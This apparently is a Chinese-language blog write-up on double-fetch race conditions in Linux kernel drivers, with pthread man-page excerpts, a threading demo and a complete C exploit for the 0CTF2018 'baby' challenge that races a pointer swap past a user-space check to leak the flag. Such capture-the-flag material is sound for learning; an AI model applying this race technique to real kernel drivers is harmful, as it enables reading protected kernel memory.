Linux_Kernel_Pwn(三)

Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争.

pthread_create && pthread_join

1
NAME
2
       pthread_create - create a new thread
3
4
SYNOPSIS
5
       #include <pthread.h>
6
7
       int pthread_create(pthread_t *thread, const pthread_attr_t *attr,void *(*start_routine) (void *), void *arg);
8
9
       Compile and link with -pthread.
10
11
DESCRIPTION
12
       The  pthread_create()  function  starts a new thread in the calling process.  The new thread starts execution by invoking
13
       start_routine(); arg is passed as the sole argument of start_routine().

pthread_create用于创建一个线程函数,成功创建返回0

thread:            指向线程标识符的指针
attr:            设置线程属性
start_routine:    线程函数指针
arg:            线程函数的参数

因为pthread并非Linux系统的默认库,所以GCC编译时需要加上-lpthread参数

1
NAME
2
       pthread_join - join with a terminated thread
3
4
SYNOPSIS
5
       #include <pthread.h>
6
7
       int pthread_join(pthread_t thread, void **retval);
8
9
       Compile and link with -pthread.
10
11
DESCRIPTION
12
       The  pthread_join()  function  waits  for the thread specified by thread to terminate.  If that thread has already termi‐
13
       nated, then pthread_join() returns immediately.  The thread specified by thread must be joinable.
14
15
       If retval is not NULL, then pthread_join() copies the exit status of the target thread (i.e., the value that  the  target
16
       thread  supplied  to  pthread_exit(3))  into  the location pointed to by retval.  If the target thread was canceled, then
17
       PTHREAD_CANCELED is placed in the location pointed to by retval.
18
19
       If multiple threads simultaneously try to join with the same thread, the results are undefined.  If  the  thread  calling
20
       pthread_join() is canceled, then the target thread will remain joinable (i.e., it will not be detached).
21
22
RETURN VALUE
23
       On success, pthread_join() returns 0; on error, it returns an error number.

pthread_join用于等待一个线程的结束

thread:    等待线程的标识符
retval:    为一个用户定义的指针,它可以用来存储被等待线程的返回值

DEMO:

1
#include<stdio.h>
2
#include<stdlib.h>
3
#include<pthread.h>
4
struct member
5
{
6
	int num;
7
	size_t *name;
8
};
9
void *pthread(void *arg)
10
{
11
	struct member *tmp;
12
	puts("Start");
13
	sleep(2);
14
	tmp = (struct member*)arg;
15
	printf("Num:\t%d\n",tmp->num);
16
	printf("Name:\t%s\n",tmp->name);
17
	return NULL;
18
}
19
int main(int argc,char *argv[])
20
{
21
	pthread_t thread; //线程标识符
22
	struct member *mbr;
23
	mbr = (struct member *)malloc(sizeof(struct member));
24
	mbr->num = 1;
25
	mbr->name ="FMYY";
26
	if ((pthread_create(&thread, NULL, pthread, (void*)mbr)) == -1)
27
	{
28
		puts("Create Error");
29
		return 1;
30
	}
31
	sleep(1); //令线程函数先运行
32
	puts("Main Continue"); //由于线程函数休眠2s,故main函数先执行
33
	if(pthread_join(thread,NULL))
34
	{
35
		puts("Thread Ended");
36
		return 0;
37
	}
38
	return 0;
39
}

运行结果如下

1
root@kali:~# ./demo.out
2
Start
3
Main Continue
4
Num:	1
5
Name:	FMYY
6
root@kali:~#

0CTF2018-baby

题目简单分析

1.参数为0x6666 则会利用printk打印出flag的地址,可利用dmesg命令查看
2.参数0x1337,且判断输入的指针是否指向用户态数据,数据指针是否指向用户态,传入的结构中len是否等于驱动中flag的长度,然后对flag进行逐字对比,通过则可打印flag,同样用dmesg查看flag

利用分析

1.从驱动中可以直接确定指针中的长度为33,则传入的长度可以确定,同时令传入的结构体中flag地址为驱动中硬编码的flag地址  
2.如果创建一个恶意函数进程与main函数进程进行竞争,因为传入的是一个指针,指针结构体中的内容是在用户空间,所以两个线程进争的过程中,在用户态可以修改结构体中的flag指针,当通过第一个范围检测后,另一个进程将flag指针指向了硬编码的flag地址,则可令程序通过对flag逐字对比的检测,从而打印真实的flag地址  

Exploit Source

1
// gcc -static exp.c -lpthread -o exp
2
#include <string.h>
3
#include <string.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <unistd.h>
7
#include <sys/types.h>
8
#include <sys/stat.h>
9
#include <sys/ioctl.h>
10
#include <fcntl.h>
11
#include <pthread.h>
12
13
#define TRYTIME 0x1000
14
#define LEN 0x1000
15
16
struct attr
17
{
18
    char *flag;
19
    size_t len;
20
};
21
unsigned long long addr;
22
int finish =0;
23
char buf[LEN+1]={0};
24
void change_attr_value(void *s){
25
    struct attr * s1 = s; 
26
    while(finish==0){
27
    s1->flag = addr;
28
    }
29
}
30
31
int main(void)
32
{
33
 
34
35
    int addr_fd;
36
    char *idx;
37
38
    int fd = open("/dev/baby",0);
39
    int ret = ioctl(fd,0x6666);    
40
    pthread_t t1;
41
    struct attr t;
42
43
    setvbuf(stdin,0,2,0);
44
    setvbuf(stdout,0,2,0);
45
    setvbuf(stderr,0,2,0);   
46
47
    system("dmesg > /tmp/record.txt");
48
    addr_fd = open("/tmp/record.txt",O_RDONLY);
49
    lseek(addr_fd,-LEN,SEEK_END);
50
    read(addr_fd,buf,LEN);
51
    close(addr_fd);
52
    idx = strstr(buf,"Your flag is at ");
53
    if (idx == 0){
54
        printf("[-]Not Found Address");
55
        exit(-1);
56
    }
57
    else{
58
        idx+=16;
59
        addr = strtoull(idx,idx+16,16);
60
        printf("[+]FLAG Address: %p\n",addr);
61
    }
62
63
    t.len = 33;
64
    t.flag = buf;
65
    pthread_create(&t1, NULL, change_attr_value,&t);
66
    for(int i=0;i<TRYTIME;i++){
67
        ret = ioctl(fd, 0x1337, &t);
68
        t.flag = buf;
69
    }
70
    finish = 1;
71
    pthread_join(t1, NULL);
72
    close(fd);
73
    system("dmesg | grep flag");
74
    return 0;
75
}

Referance

Double Fetch
CVE-2016-6516

Contents
  1. 1. pthread_create && pthread_join
  2. 2. 0CTF2018-baby
  3. 3. Referance
|